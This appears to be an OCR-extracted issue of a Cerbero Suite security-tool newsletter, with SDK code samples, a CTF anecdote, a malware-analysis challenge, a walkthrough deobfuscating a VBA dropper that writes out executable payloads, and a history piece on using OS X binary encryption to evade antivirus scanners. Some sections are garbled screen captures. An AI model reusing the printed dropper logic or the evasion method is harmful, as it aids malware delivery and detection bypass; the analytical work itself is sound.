R-DEGLEGEC	0482W ++	ά 🔶	<b>*</b> S	N		5.4	# 4	1	0%	SHA-2,	/256	•				8
AU Herarchy # X	C, Asalysis (13.0 (unref)) = # ×	G, Analy	sis (13.0 j	(unref)	)											
Name	Text OX Hex >	In Tes	0xH	ex 0	x Rave	dete	AS To									
is_in_jpeg_poc.pdf	/Width: 38	offe	et i	0 1	2	3 4	s	5 7	8	9	A B		D	8 8	Ancii	
	/Height : 6	00000	010 6	1 10	10 2	8 61	6C 6	5 12	74	28.2	2 46	5 68	72 :	20 13	app.alert("Por.s	
< >	/Length : 552	10010	010 60	r 60	65 2	0 12	65 6	L 13	67	62 7	3 28	62	65	19 68	ome.reasons.beyo	
🖸 Summary 🛛 🖉 🛪	/Filter:/DCTDecode	10010	030 6	9 68	67 2	c 20	69 1	4 20	69	73 2	1 65	76	65	68 20	ing, it.is.even.	
4 😮 Threats	/BitsPerComponent : 8	10010	040 68	S 61	13 é	0 65	12 2	15	62	64 6	6 12	20	52	65 61	easier.under.Rea	
🖸 JavaScript code	/ColorSpace : /DeviceGray	10010	050 6	4 65	12 2	0 39	21.2	2 29	- 28	D3 D	0 00	DO	DQ	DG DG	dec.91*):	
Co The format of the file is incorrect	/Subtype : /image	10010	050 6.	1 10	10 2	8 61 0 19	46 4	1 12	- 14	28 2	2 95	0.00	12 :	20 13	app.alert1*ror.s	
😮 Unreferenced data		10010	010 61	6 64	20 6	D 19	20 1	30.0	64	65 T	2 13	1 14	61	65 64	nd.my.understand	
😳 Foreign data		00000	050 6	9.68	67.2	C 20	69 1	\$ 20	69	73 2	1 65	176	65	6E 20	ing,.it.is.even.	
		10010	000 6	S 61	13 6	0 65	12 2	15	62	64 6	6 12	20	52	65 61	easier.under.Rea	
		10010	000 6	4 50	16 2	0 19	60.6	5 12	74	24.2	2 66	5 62	12 -	20 22	ann alert (ffor a	
		10010	020 6	r 60	65 2	0 12	65 6	1 13	67	65 7	3 20	62	65	19 68	ome.reasons.bevo	
Ul Format Ø X	1	10010	0200 68	6 64	20 đ	D 19	20 1	33 6	64	65 T	2 13	1.14	61	6E 64	nd.my.understand	
1.0 (unref)		10010	0F0 6	9.68	67 2		69 1	1 20	69	73 2	3 65	16	65	68 20	ingit.is.even.	
1 2.0 (unref)		10010	110 6	4 65	17 7	0 50	71.2	2 79	78	04 0	0 12	20	54	D3 D1	dar 9171 -	
3.0 (unref)		0000	120 6	1 10	10 2	8 61	60.6	5 12	74	28 2	2 95	5 68	72 :	20 73	ano.alert("For.s	
1 4.0 (unref)		10010	130 6	r 60	65 2	0 12	65 6	L 13	67	65 î	3 20	62	65	19 68	ome.reasons.beyo	
1 5.0 (unref)		10010	140 68	E 64	20 6	D 19	20 1	353	64	65 T	2 13	14	61	6E 64	nd.my.understand	
1 6.0 (unref)		10010	150 6	9 66 6 24	10/2	C 20 0 40	10 0	1 20	- 69	13 2	3 60 3 10	1 20	60	68 20	ing, it.is.even.	
1 7.0 (unref)		10010	110 6	4 65	12 2	0 19	21 2	2 29	22	D3 D	0 00	00	DQ.	DG DG	der.91*1:	
1 8.0 (unref)		60050	180 6.	1 70	10 2	8 61	6C 6	5 12	74	28.2	2 06	5 68	72 :	20 73	app.alert("For.s	
1 9.0 (unref)		00000	190 60	r 60	65 2	0 12	65 6	L 13	67	62 7	3 20	62	65	19 6e	ome.reasons.beyo	
10.0 (unref)		10010	110 0	6 62	67.2	C 20	69 1	6 20	64	73 2	3 65	76	65	GE 20	ing it is even	
11.0 (unref)		10010	100 6	5 61	13 6	0 65	12 2	1 15	65	64 6	6 12	21	52	65 61	easier.under.Rea	
12.0 (unref)		10010	100 6	4 65	12 2	0 39	21.2	2 2 9	32	D3 D	0 00	00	DO	D0 D0	dec.91*);	
13.0 (unref)		10010	1D) 6.	1 10	10 2	8 61	60.6	5 12	- 74	58.5	2 06	5 68	72 :	20 13	app.alert("For.s	
Fill 14.0 (unref)		10010	110 6	2 60	55 2	0 12	20 5	13	65	65 T		52	63	19 68	ome.reasons.beyo	
		10010	210 0	3 68	67 2	C 20	69 1	1 20	69	73 2	3 65	76	65	68 20	ing, .it.is.even.	
		10010	220 60	S 61	13 é	0.65	12 2	15	65	64 6	6 12	20	52	65 61	easier.under.Rea	
	< >>															

While we haven't yet observed this technique used by malware, we recently came across a malicious PDF which encodes JavaScript using PNG predictor encoding: SHA-256: DA16AC8F2DB3053C35239FA4EB2F0F61FBB1F9C8BB9 D32836F8D6AE7D49AF090 - object 49

#### CFBF DOCUMENTATION

We have documented our CFBF module which contains the API for parsing legacy Office documents (e.g. DOC, XLS, PPT). Here we present two useful code snippets.

#### **VBA EXTRACTION**

The following code example shows how to extract VBA code def extractMacros(fname): from a CFBF document. c = createContainerFr

```
from Pro.Core import *
from Pro.CFBF import *
def extractVBAVisitor(obj, ud, dir_id,

    children):
    name = obj.DirectoryName(dir_id)
    if name == "VBA" and obj.
         → FlagsIsStorage(children.at(0)):
         # extract VBA
         vbacode = obj.ExtractVBAProject(
            \hookrightarrow obj.GetDirectoryTree(),
         \hookrightarrow dir_id)
if vbacode != None:
             print (vbacode)
    return 0
def extractVBA(fname):
    c = createContainerFromFile(fname)
    if c.isNull():
        return
    cfb = CFBObject()
    if not cfb.Load(c):
        return
    dirs = cfb.BuildDirectoryTree()
    cfb.SetDirectoryTree(dirs)
```

## $\hookrightarrow$ extractVBAVisitor, None)

cfb.VisitDirectories(dirs,

#### XLS MACRO DECOMPILING

While it's possible to use the low-level ExcelMacroDecompil er.decompile() method to decompile macros, it's preferable to create a Pro.SiliconSpreadsheet.SiliconSpreadsheetWorkspac e and iterate through its cells.

There are multiple advantages in doing so:

- Pro.SiliconSpreadsheet.SiliconSpreadsheetWorkspac

   is used by all types of Microsoft Excel formats, including XLSB and XLSM. Therefore, the code can be easily generalized.
- 2. Pro.SiliconSpreadsheet offers a more intuitive and complete API.
- 3. Pro.SiliconSpreadsheet offers an API to emulate macros if needed.
- 4. The contents of a Pro.SiliconSpreadsheet.SiliconSpread sheetWorkspace instance can be easily manipulated.

The following code examples demonstrates how to convert an XLS document into a Pro.SiliconSpreadsheet.SiliconSpread sheetWorkspace instance and then iterates through its cells, printing out the ones that contain a macro.

from Pro.Core import \*
from Pro.CFBF import \*

```
from Pro.SiliconSpreadsheet import *
```

```
c = createContainerFromFile(fname)
if c.isNull():
    return
cfb = CFBObject()
if not cfb.Load(c):
    return
dirs = cfb.BuildDirectoryTree()
cfb.SetDirectoryTree(dirs)
for name in ("Workbook", "Book"):
    wbs = cfb.DirectoryFromName(dirs,
        \hookrightarrow
            0, name)
    if wbs.IsValid():
        break
if wbs.IsNull():
    return
wbstream = cfb.Stream(wbs)
if wbstream.isNull():
    return
parser = CFBXlsParser(wbstream)
book = CFBX1sBook()
if not book.Load(parser):
    return
ws = SiliconSpreadsheetWorkspace()
if not parser.

→ createSiliconSpreadsheetWorkspace

   \hookrightarrow (book, ws):
    return
# iterate through sheets
sheets = ws.getSheets()
it = sheets.iterator()
while it.hasNext():
    sheet = it.next()
    print(sheet.getName())
    # iterate through cells
    cell_it = sheet.cellIterator()
    while cell_it.hasNext():
         cell = cell_it.next()
         # skip cells without a
               formula
         if not cell.cell.formula:
             continue
         cell.index.sheet = "" # don't
             \hookrightarrow print the sheet name
            \hookrightarrow in the cell name
        print("
                    cell:",

→ SiliconSpreadsheetUtil.

            \hookrightarrow cellName(cell.index),
            \hookrightarrow formula:", cell.cell.
            \rightarrow formula)
```

An example output of the code:

#### ENGINE INTERMEZZO



In case you're not yet familiar with Cerbero Engine, here is a quick introduction. You can read more on our web-page.

#### WHAT IS CERBERO ENGINE?

Cerbero Engine is our solution for enterprise projects such as cloud or in-house services. It offers the same SDK as Cerbero Suite Advanced and has already been used to analyze billions of files.

#### WHAT CAN IT DO?

Our SDK is extensive and features support for dozens of file formats, scanning, disassembly, decompiling, emulation, signature matching, file carving, decompression, decryption and much more.

We make sure Cerbero Engine keeps up with the latest threats and challenges presented by file formats which are difficult to analyze. We offer state-of-the-art support for various file types such as Adobe PDF and Microsoft Office.

#### HOW SECURE IS IT?

Cerbero Engine has been designed taking into account any type of security issue when analyzing malicious files: buffer overflows, integer overflows, infinite loops, infinite recursion, decompression bombs, denial-of-service etc.

#### WHAT PLATFORMS DOES IT SUPPORT?

Just like Cerbero Suite, Cerbero Engine is cross-platform. Currently we offer it for both Windows (x86, x64) and Linux (x64). It is also compatible with older version of Windows and Linux.

#### CAN IT BE EMBEDDED?

Cerbero Engine is deployed as an embeddable module: a Dynamic-Link Library (DLL) on Windows and a Shared Library on Linux. The engine can be loaded from both C/C++ and Python 3.

Loading the engine from Python is extremely simple.

```
from ProEngine import *
# initialize the engine
proEngineInit()
# from here on the SDK can be accessed
from Pro.Core import *
# ...
# finalize the engine before exiting
proEngineFinal()
```

Loading the engine from C/C++ is also very simple: it only requires including the 'ProEngine' header and specifying the location of the engine on disk.

```
#define PRO_ENGINE_INIT
#include "ProEngine.h"
```

int main()

{

}

#### IS IT FAST?

While our SDK is in Python, our engine is written in C++ and is both multi-thread and multi-process. This design decision guarantees maximum speed, while also giving you the capability to write cross-platform code that is compatible across both Cerbero Engine and Cerbero Suite.

Since the SDK is in Python, you don't need to worry about rebuilding your project when the engine is updated. Moreover, we take great care not to introduce breaking changes to the SDK: we don't want you to worry that an update could cause your code to stop working!

#### HOW DO YOU LICENSE IT?

We license Cerbero Engine on a per-case basis. The licensing depends upon the scope of the project. If you are interested in a quotation, please contact us.

Purchasing a license of Cerbero Engine comes with discounted lab licenses of Cerbero Suite. By using Cerbero Suite, your engineers can interactively debug parsing issues, analyze edge cases, use our Python editor for development and create graphical applications that work in conjunction with the Cerbero Engine.

#### JAVA CLASS & ANDROID DEX DOCUMENTATION

We have documented our modules to parse Java Class and Android DEX files. We present here a few useful code snippets.

#### JAVA CLASS DISASSEMBLING

The following code example demonstrates how to disassemble a Java Class.

```
from Pro.Core import *
from Pro.Class import *
def disassembleJavaClass(fname):
```

#### JAVA CLASS METHOD ENUMERATION

The following code example shows how to enumerate the methods in a Java Class.

```
from Pro.Core import *
from Pro.Class import *
def enumerateJavaClassMethods(fname):
 c = createContainerFromFile(fname)
 if c.isNull():
   return
 obj = ClassObject()
  if not obj.Load(c) or not obj.
     \rightarrow ProcessClass():
   return
 methods = obj.Methods()
 it = methods.iterator()
 while it.hasNext():
   method_offs = it.next()
    attrs, fd = obj.FieldAttributes(
       \rightarrow method_offs)
   name = obj.IndexToString(fd.
       \rightarrow name_index)
   cad = CodeAttributeData()
    if codeattr_offs != 0 and obj.
       \rightarrow ParseCodeAttribute(
       \hookrightarrow codeattr_offs, cad):
     \hookrightarrow
            hex(cad.code_length))
```

#### An example output of the code:

```
offset: 0x2f1 - name: <init>
    code offset: 0x307 - code size: 0x5
offset: 0x31c - name: main
    code offset: 0x332 - code size: 0x44
offset: 0x3c6 - name: <clinit>
```

code offset: 0x3dc - code size: 0xb

#### **DEX METHOD ENUMERATION**

Unlike Java Class files, Android DEX binaries can contain multiple classes. Therefore, before enumerating their methods, it is necessary to enumerate their classes.

```
from Pro.Core import *
from Pro.DEX import *
def enumerateDEXMethods(fname):
  c = createContainerFromFile(fname)
  if c.isNull():
    return
  obj = DEXObject()
  if not obj.Load(c):
    return
  classes = obj.Classes()
  class_count = classes.Count()
  for i in range(class_count):
    class_name = obj.ClassIndexToString(i
           , True)
    print("class:", class_name)
    cd = ClassData()
    if obj.GetClassData(i, cd):
      for it in (cd.direct_methods.
           \rightarrow iterator(), cd.

→ virtual_methods.iterator()):

        while it.hasNext():
           m = it.next()
           method_name = obj.
               MethodIndexToString(m.
              \rightarrow index)
           print("
                     method:", method_name
                 )
           ci = CodeItem()
           if obj.GetCodeItem(m.code_off,
               \hookrightarrow ci, False):
             print("
                          code offset:",
                                           → hex(ci.code_offset),
                 \hookrightarrow code size (in words):"
                 \rightarrow , hex(ci.insns_size))
```

#### An example output of the code:

Similarly, disassembling is done on a per-class basis.

```
for i in range(class_count):
    out = NTTextBuffer()
    obj.Disassemble(out, i)
    print(out.buffer)
```

9

### CERBERO SUITE VS CTFLEARN.COM

By Erik Pistelli

While I had used Cerbero Suite for CTF challenges in the past, back in October 2019 I wanted to **really** test it against them. Since I am usually quite busy, I can't take part in CTF events when they take place. I needed CTF challenges that I could solve at my own pace, without timing constraints.

Hence, I found this web-site with CTF challenges called CTFlearn. Back then the web-site had little over 30000 registered users and had already lots of challenges targeting various disciplines: hacking, forensics, reverse engineering, programming, scavenger hunts, etc.

Cerbero Suite worked really well against the challenges for which it could be applied (mainly reverse engineering and forensics) and after 2 months I had solved all the challenges on the web-site and was first on the scoreboard.



"Ntoskrnl" is my alias.

What I hadn't anticipated is that the competition stoked my ego and brought out the teenager in me. I became a little too addicted.

The problem got even worse when CTFlearn started publishing events, meaning regular time-constrained CTF

competitions. I took part in only one of them and won a t-shirt after losing hours of sleep.



One day I stopped cold-turkey, because I knew that I couldn't help myself and I haven't logged into the page since then. However, I definitely recommend CTFlearn to all those who want to improve their CTF skills. Just don't expect not to get addicted.



Disclaimer: the sunglasses weren't part of the prize.

#### CHALLENGE: PAYLOAD URLS

Download the following malware sample and understand which URLs it tries to download by performing a static analysis.

SHA-2/256: 9E32AC74B80976CA8F5386012BAE9676DECB23713443E81CB10F4456BF0E7E0B

Hints:

- 1. VGhlIGZpbGUgJy9kb2MuaHRtJyBjb250YWlucyBQb3dlclNoZWxsIGNvZGUu
- 2. VGhlIHByZWZpeCBvZiBldmVyeSBwYXlsb2FkIFVSTCBpcyAnaHR0cDovLzB4YzBhODdhMDE6NDI2NjYvQzg0 QkVFMzQyODREQTZCQkREMTY4NTlCQjlCOTYxRDhBM0IzMkQ0OUQ2Mjc2Njc2RjQ2Nzk4RUE1MTAwMz RFNC8nLg==
- 3. VGhlIHBheWxvYWQgbmFtZXMgYXJlOiAnZW5jcnlwdGVyLmV4ZScsICdjb250cm9sLmV4ZScsICdyYW5zb21ub 3RIX2ZsYWcuZXhlJyBhbmQgJ2dvZGUuZXhlJy4=

#### VBA MALWARE STEP BY STEP

Sample SHA-256: 764A598A97085020764F46314A36B113080E4191C62F8E3DC9CD769520D807C1

What follows is a step-by-step analysis of a malicious EML file containing a legacy Microsoft Office document. We deobfuscate the VBA code and extract the payloads.

We were made aware of this sample thanks to a Twitter post by @StopMalvertisin.

**1.** The EML document contains an embedded file named 'file:///C:/1B737536/0ejtczfv\_files/editdata.mso'. The file contains compressed ZLib data starting at offset 0x32. We select the compressed data and filter it (Ctrl+T).



We apply the 'unpack/zlib' filter and then elevate to a root file the decompressed data.

4

**2.** At this point we find ourselves with obfuscated strings and numbers in the VBA code. We manually deobfuscate individual elements by selecting the obfuscated portion of code and executing a custom script (Ctrl+Alt+R).



The following is the script we used to deobfuscate strings and numbers.

We also renamed a few variables to better understand the code. What follows is a redacted snippet of deobfuscated code which extracts payloads from the file (you can check out the entire code on our blog).

```
Private Sub tBpocVs2()
  ThisDocHandle = FreeFile
  Open ThisDocFullName For Binary Access
       → Read As ThisDocHandle
  PayloadOffset = LOF(ThisDocHandle) + 1
  For i = 0 To 2
    Seek ThisDocHandle, PayloadOffset - 4
    Get ThisDocHandle, , PayloadSize
    If PayloadSize = 0 Then
      Exit For
    End If
    PayloadOffset = PayloadOffset - 4 -
          PayloadSize
    If xLG88djM <> i Then
      ExtractPayload ThisDocHandle,
           > PayloadOffset, PayloadSize, i
    End If
  Next i
  Close ThisDocHandle
End Sub
Private Sub X69t06QErpf5B48()
  ' this function adds the "MZ" magic
     \hookrightarrow word to extracted payloads
End Sub
Private Sub ExtractPayload (DocHandle As
    \hookrightarrow Long, PayloadOffset As Long,
   \hookrightarrow PayloadSize As Long, i As Long)
  v4M6r1b9176Z = 0
  PayloadSize2 = PayloadSize
  If i = 0 Then
    Ol2m0Z0z0bZ50 = O4RXMI894xLi3
  Else
    Ol2m0Z0z0bZ50 = ZeWGJJI1584DJq9 &
         → u67DuwoKmP9
  End If
  Randomize
  Seek DocHandle, PayloadOffset
  If i <> 0 Then
    Get DocHandle, , UR3102b322sx40
    Get DocHandle, , v4M6r1b9176Z
PayloadSize2 = PayloadSize - 6 +
         → v4M6r1b9176Z
    PayloadOffset = PayloadOffset + 6
    Seek DocHandle, PayloadOffset
```

```
End If
  ReDim PayloadBuffer (PayloadSize2 - 1)
  Get DocHandle, , PayloadBuffer()
If v4M6r1b9176Z <> 0 Then
    For ftjx76VlCF6r = 0 To (PayloadSize
           - 6 - UR3102b322sx40 - 1)
      PayloadBuffer (PayloadSize2 -
          → ftjx76VlCF6r - 1) =

→ PayloadBuffer(PayloadSize - 6

          \rightarrow - ftjx76VlCF6r - 1)
    Next ftjx76VlCF6r
  End If
  Dim hEndSjz1Rj81b As Long
  hEndSjz1Rj81b = FreeFile
  If v4M6r1b9176Z <> 0 Then
    For ftjx76VlCF6r = 0 To v4M6r1b9176Z
         \rightarrow - 1
      PayloadBuffer(UR3102b322sx40 +
          \hookrightarrow ftjx76VlCF6r) = 255 * Rnd
    Next ftjx76VlCF6r
  Else
    Kill Ol2m0Z0z0bZ50
  End If
  Open Ol2m0Z0z0bZ50 For Binary Access
      → Write As hEndSjz1Rj81b
  Put hEndSjz1Rj81b, , PayloadBuffer()
  Close hEndSjz1Rj81b
  If v4M6r1b9176Z = 0 Then
    Qc3U9RX6samAwId Ol2m0Z0z0bZ50
  End If
End Sub
```

**3.** We wrote a Python script that mimics the VBA payload extraction.



from Pro.Core import \*

```
def extract():
  ctx = proCoreContext()
  sp = ctx.currentScanProvider()
  if not sp:
   return
  report = sp.getGlobalReport()
  if not report:
    return
  obj = sp.getObject()
 offset = obj.GetSize()
  r = CFFBuffer(obj, offset)
  for i in range(3):
    r.setOffset(offset - 4)
    payload_size = r.u32()
    offset = r.getOffset() - 4 -
        → payload_size
```

```
payload_offset = offset
r.setOffset(payload_offset)
payload_size_2 = payload_size
if i != 0:
  n1 = r.u32()
  n2 = r.u32()
  payload_size_2 = payload_size - 6 +
         n2
  payload offset += 6
  r.setOffset(payload_offset)
else:
  n1 = n2 = 0
buf = obj.Read(payload_offset,
    \rightarrow payload_size)
if n2 != 0:
  buf += bytearray(payload_size_2 -
     \rightarrow payload_size)
  for j in range(payload_size - 6 -
       \rightarrow n1):
     buf[payload_size_2 - j - 1] =
         → buf[payload_size - 6 - j -
         \rightarrow
             11
  buf[0] = 0x4D
 buf[1] = 0x5A
# add internal file
uid = report.newInternalFileUID()
if not uid:
  return
path = report.newInternalFilePath(uid
   \hookrightarrow )
if not path:
  return
with open(path, "wb") as f:
  f.write(buf)
fname = "payload_" + str(i + 1)
if report.saveInternalFile(uid, fname
   \hookrightarrow , fname):
  # add root entry
  ctx.addObjectToReport(fname,

→ REPORT_INT_ROOT_PREFIX + uid)
```

#### extract()

The script adds all extracted payloads as root files of the current project.

**Important:** the script must be executed while the EML file is the currently opened file in the analysis view.

**3**-

**4.** The extracted payloads are a Word document, an x86 binary and an x64 binary. We can right away analyze the code of the executable payloads.

	[payload_3] - Cerbero	Suite Advanced 5.7	
	· · · · · · · · · · · · · · · · · · ·	9%-2256 · 3E844M34/78EAC2CC5A282F64CF37MC93744E9087EF6C2M81030EF086477	
🗋 Roota		# × Output	
# File	Risk Format	^ carbon: analysis finished in 0.6 seconds	
payload_1	58% CPBP	carbon: analysis finished in 0.7 seconds	
payload,2	0% PE		
5 payload_3	0% PE	v	
V Henerday	a x Q Analysis (Netwo code: s50) D & Obbal notes	🖸 😺 [extract_paybada] - Pathen 🖸 🗎 Decomplet (Notive code x86) 🚦	
Verse	// WESSING: Instruction at (raw, Ox100010ed) overlaps in-	struction at (ram, da100010ea)	
markad 1			
	(/) WADDING: Rendving Ulreachable block (ran, 0x10001075) (/ WADDING: Rendving Unreachable block (ran 0x10001075)		
	(/ URBNDG- Benerics unraschable block (ran 0x10001071)		
	// WARHING: Removing unreachable block (ran,Ox100010fd)		
	// WREETED: Removing unreachable block (ran,Ox100010ed)		
	// WARNING: Removing unreachable block (ran,Ox100010ff)		
	2	and the second sec	
Summary	a *	paran ()	
4 📦 Online	if (paran_2 == 0) (		
Intelligence: MalwareBazear	(*_sleep) (10030) ;		
< St Intrinsic threats	(*_DeleteFileW) (Dull658290) /		
60 Nation code: x86			
A Warrison	of Inaran 2 on 33 1		
A incorrect charlown value	mub_10001010();		
A Matadata	return 17		
	and the second s		
	1		
1 Ferret	a x		
Dos Header	^ ·		
Rich Signature			
III Nt Headers			
Ell File Header			
<ul> <li>El Optional Header</li> </ul>			
▲ []] Optional Header			

Done.

12

#### HISTORY LESSON: MACOSX BINARY ENCRYPTION

Cerbero Suite was the first security solution to support OS X binary decryption back in 2013 as a result of our own research. What follows is a summary of the original disclosure published on our blog. We think this topic makes for an interesting history lesson while being still relevant today.

OS X uses an internal mechanism to load encrypted Apple executables and in our research we exploited the same mechanism to defeat anti-malware solutions.

The operating system implements two encryption systems for its executables (Mach-O). The first one is implemented through the **LC\_ENCRYPTION\_INFO** loader command. Here's the code which handles this command:

```
case LC ENCRYPTION INFO:
    if (pass != 3)
        break;
    ret = set_code_unprotect(
         (struct encryption_info_command

ightarrow *) lcp,
         addr, map, slide, vp);
    if (ret != LOAD_SUCCESS) {
         printf("proc %d:
             \hookrightarrow set_code_unprotect() error
            \hookrightarrow %d "
                 "for file \"%s\"\n",
                 p->p_pid, ret, vp->v_name)
         /* Don't let the app run if it's
           encrypted but we failed to set
                 up the
          * decrypter */
          psignal(p, SIGKILL);
    }
    break;
```

This code calls the **set\_code\_unprotect** function which sets up the decryption through **text\_crypter\_create**:

The **text\_crypter\_create** function is actually a function pointer registered through the **text\_crypter\_create\_hook\_set** kernel API. While this system can allow for external components to register themselves and handle decryption requests, we couldn't see it in use on current versions of OS X.

The second encryption mechanism which is actually being used internally by Apple doesn't require a loader command. Instead, it signals encrypted segments through a flag.

PAGEZERO	Name	Offset	Size	Value	Description
4TEXT	cmd	00000068	4	00000019	Click here
text	cmdsize	00000060	4	00000388	
stub_helper	segname	00000070	10	TEXT	
const	vmaddr	00000080	8	00000010000000	
gcc_except_tab	vmsize	8800000	8	0000000004BB000	
objc methname	fileoff	00000090	8	000000000000000	
objc_methtype	filesize	00000098	8	0000000004BB000	
cstring	maxprot	04000000	4	0000007	Click here
eh frame	initprot	000000A4	4	0000005	Click here
DATA	nsects	84000000	4	0000000B	
LINKEDIT	flags	000000AC	4	80000008	Click here
	Offset 0000000 0000010 0000020 0000030 0000040 0000050 0000050 0000070	0 1 2 CF FA ED 36 00 00 19 00 00 52 4F 00 00 00 00 00 00 00 00 00 00 5F 5F 54	3 4 FE 07 0 00 D8 0 00 48 0 00 01 0 00 01 0 00 00 0 45 58 0	5         6         7         8         9         A           00         00         1         03         00         00         0           10         00         00         5         00         10         0         00	flags         Image: Constraint of the second s

The **'PROTECTED'** flag is checked while loading a segment in the **load\_segment** function:

The **unprotect\_segment** function sets up the range to be decrypted, the decryption function and method. It then calls **vm\_map\_apple\_protected**.

The decryption function is dsmos\_page\_transform.

Just like **text\_crypter\_create** even **dsmos\_page\_transform** is a function pointer which is set through the **dsmos\_page\_transform\_hook** kernel API. This API is called by the kernel extension 'Dont Steal Mac OS X.kext', allowing for the decryption logic to be contained outside of the kernel in a private kernel extension by Apple.

Apple uses this technology to encrypt some of its own core components like 'Finder.app' and 'Dock.app'. On current OS X systems this mechanism doesn't provide much of a protection against reverse engineering in the sense that attaching a debugger and dumping the memory is sufficient to retrieve the decrypted executable.

However, this mechanism can be abused by encrypting malware which will no longer be detected by the static analysis technologies of current security solutions.

To demonstrate this claim we took a known OS X malware:



The detection rate stood at about 20-25, depending on the malware.

After having encrypted the malware:



After the encryption is applied, the malware is no longer detected by scanners at VirusTotal. The problem is that OS X has no problem in loading and executing the encrypted malware.

The difference compared to a packer is that the decryption code is not present in the executable itself and so the static analysis engine can't recognize a stub or base itself on other data present in the executable, since all segments can be encrypted. Thus, the scan engine also isn't able to execute the encrypted code in its own virtual machine for a more dynamic analysis.

Two other important things about the encryption system is that the private key is the same and is shared across different versions of OS X. And it's not a chained encryption either: but per-page. Which means that changing data in the first encrypted page doesn't affect the second encrypted page and so on. The encryption algorithm used is Blowfish.

Cerbero Suite is able to decrypt protected executables. To save an unprotected copy of the Mach-O just perform a 'Select all' (Ctrl+A) in the main hex view and then click on 'Copy into new file' like in the screen-shot below.



#### Saving the decrypted binary from Cerbero Suite.

		(?)		se] - Ghidta Native LR - Cerbero Salte Advanced 6.1 - C	etwa Sule – M	<u> </u>
The full View						
Moriess Dis	12 12 1	142				2
Pundane		Oseamily 5, Description 6	0 in	Norman 0 0 ments 0 0	tors 0 0 see 0	
Rater		C-Descende t			Complete a	
w.	Max.		UNP	42, byte ptr Deax + Daller, edstailed_00400000 -	byte fybfing)	
21 OPC 01	0.00	. tash (00435343	268	Las plemits	ulast ulasta)	
and as	and a little	tant readings		acts, but	spise sponese.	
and some first of	_	And Contractor		6 d	sheet & Records	
		. tash (01625.045	- 50	Las contracts	home Length all (2001)	
and and the second second		348.0	401.047			
Jupiter	Acres 1	14020400/Jan.		No. 100		
and the second	20404	. tash (00436.001		Las poersons	Local_b = 142_0000000 + (star) astachtarmolder;	
	20101	540,0			MARKET MARKET	
_1Anitotocarettings	10000	. text (00425/833	100	No. 100	string a ging Designed	
take involver	and the	. tash (01626/055		and, ini		
and the last state	ALC: NOT	348.5	1470,8941		5Y5C3 = 72678242	
		.test/00435/838	Carl	HAR, HAR	Strail = Strail < 1980a2/	
		Tast Distants		offete a state managed; instruit	the process of special (	
ADLENE BOX	244	.test (00405.041	100	Lag coercises	V042144/09/042   12	
AND REAK	and a	148_0			gete LAB_00435.0347	
AN DECK	ALC: N	. tash (01625.053	push.	- edata: a person parameter di biblicita		
	20163	548_0	1470,848		17 dva1 - 41 30e0	
10.00034	10400	And Contraction		second part of the base of the second s	billion of a billion of a billion (1971)	
offering a	and a little	Tast Distants	-	and had	of departs in converting, says has discussed	
-			842	wir, sta	period - period + 2.	
		. texts (00435/874		man, man	pictural = pictural + 2;	
- websate		. tash (01625718	Call.	POR_DOGRADUIS	) while proves he dy;	
_UP/ when	244		100	ND. 19	Wall + F.	
APC DROMA	20401	. tash (00405/080	- 65	-	of higher and it is	
ct.Mugat.htk	MARCE.				strengt a residut passened funt;	
minedulloptic	Ment .					
of state from	20104			PURCEEDS		
anningin .	2010	Internet Fill 1			"Annual is sound become to."	
(The second seco	100	a second la		addined 4	mintry Permits	
	-	2			Provident Contract (Contract (Contra	
	and a					

#### NATIVE GHIDRA UI UPDATE

We built our Native Ghidra UI plugin for the latest version of Ghidra (10.2.2). The updated package is available on Cerbero Store!

If you haven't yet tried our native UI for Ghidra, you might give it a try: it can even be run on a different machine than the one with the instance of Ghidra!

#### TIPS & TRICKS

#### CREATING A UI THEME

Gordon Miller sent us a theme called "SolarizedDark".



We think the theme looks really nice and we uploaded it to Cerbero Store!

If you're interested in creating a theme for Cerbero Suite, you can check out our introduction.

If you don't want to create an entirely new theme, you can inherit from an existing one:

<theme inherits="Monokai"></theme>
<pre><entry name="stylesheet"></entry></pre>
QTabBar::tab {
padding: 16px;
}

#### DOWNLOAD OVER TOR

If you want to download a file anonymously over Tor, just select a URL, press Ctrl+R and activate the action 'URL Download (Tor)'.

🔥 URL	Download - Cerbero Suite 🛛 🗕 🗖 🗙
Property	Value
Request	
URL	http://salamdrug.com/wp-content/themes/calliope/wp-front.php
User-Agent	Mozila/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTM 🔻
Headers	
Connection	
Method	SOCKS4 ·
IP	127.0.0.1
Port	9150
<ul> <li>Verify anonymization before download</li> </ul>	
Destination	
Action	Preview in a hex view 🔻
	OK Cancel

Of course, make sure Tor is running! The action gives you the ability to verify that your IP is being anonymized and reports

#### HUMANIZED HASHES

If want to compare a cryptographic hash with a colleague over

both your real IP and your anonymized IP before initiating the download of the data.

Once the data has been downloaded, you can add it to the current project by making it a root file. Just select the data in the hex view, right click and select 'Make selection a root file'.



voice, just hover your mouse over the hash in the analysis view and you will be presented with a humanized hash which is easy to remember!

SHA-2/256 - C88D0F7E	623B2A2C066DD6B15597D1F4C44D89E7A8E660E28C3494F441826EA5
26ea5.rtf]	Humanized: item-venus-comet-spaghetti

